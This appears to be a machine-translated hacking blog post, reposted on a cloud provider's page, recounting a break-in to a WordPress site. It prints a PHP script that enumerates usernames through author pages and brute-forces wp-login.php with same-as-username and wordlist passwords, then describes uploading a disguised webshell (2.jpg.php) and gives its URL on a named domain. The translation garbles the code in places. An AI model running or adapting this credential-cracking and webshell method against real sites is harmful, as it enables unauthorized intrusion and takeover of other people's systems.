Permission 5 site full site cannot write webshell Method

Source: Internet
Author: User

Permission 5 site full site cannot write webshell Method

When you see a website (ignore 10 thousand words here), crawlers first.

Use this tool

I found a info directory suspicious. After opening it, I decided that it was WordPress based on my years of daily experience, keen observation, and strong analysis.
This blog program does not have any good vulnerabilities, and the easy-to-use XSS requires administrator interaction.
Use the following script:
 

Set_time_limit (0); $ domain = $ argv [1]; // get the user name for ($ I = 1; $ I <= 10; $ I ++) {$ url = $ domain. "/? Author = ". $ I; $ response = httprequest ($ url, 0); if ($ response = 404) {continue;} $ pattern = "/author \/(. *) \/feed/"; preg_match ($ pattern, $ response, $ name); $ namearray [] = $ name [1];} echo" get users all ". count ($ namearray ). "Name User \ n"; echo "cracking user with the same username and password: \ n"; $ crackname = crackpassword ($ namearray, "same "); $ passwords = file ("pass.txt"); echo "cracking weak password User: \ n"; if ($ crackname) {$ namearray = array_diff ($ namearray, $ Crackname);} crackpassword ($ namearray, $ passwords); function crackpassword ($ namearray, $ passwords) {global $ domain; $ crackname = ""; foreach ($ namearray as $ name) {$ url = $ domain. "/wp-login.php"; if ($ passwords = "same") {$ post = "log = ". urlencode ($ name ). "& pwd = ". urlencode ($ name ). "& wp-submit = % E7 % 99% BB % E5 % BD % 95 & redirect_to = ". urlencode ($ domain ). "% 2Fwp-admin % 2F & testcookie = 1"; $ pos = strpos (httpreque St ($ url, $ post), 'div id = "login_error" '); if ($ pos = false) {echo "$ name ". "\ n"; $ crackname [] = $ name ;}} else {foreach ($ passwords as $ pass) {$ post = "log = ". urlencode ($ name ). "& pwd = ". urlencode ($ pass ). "& wp-submit = % E7 % 99% BB % E5 % BD % 95 & redirect_to = ". urlencode ($ domain ). "% 2Fwp-admin % 2F & testcookie = 1"; $ pos = strpos (httprequest ($ url, $ post), 'div id = "login_error "'); if ($ pos = false) {echo "$ name $ Pass ". "\ n" ;}}}return $ crackname;} function httprequest ($ url, $ post) {$ ch = curl_init (); curl_setopt ($ ch, CURLOPT_URL, "$ url"); curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt ($ ch, CURLOPT_FOLLOWLOCATION, 1 ); if ($ post) {curl_setopt ($ ch, CURLOPT_POST, 1); // The post submission method curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );} $ output = curl_exec ($ ch); $ Httpcode = curl_getinfo ($ ch, CURLINFO_HTTP_CODE); curl_close ($ ch); if ($ httpcode = 404) {return 404;} else {return $ output ;}?>

Get the user directly and try the user with the same username and password
Pretty, account administrator privilege.
Do you think this is the end?
Haha, the whole site cannot be written
Next I found this and hooked it up ---- upload

2.jpg. php is webshell
OK upload will automatically decompress the address:
Https://www.bkjia.com//info/wp-content/uploads/2015/05/2.jpg.php
Getshell is achieved.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.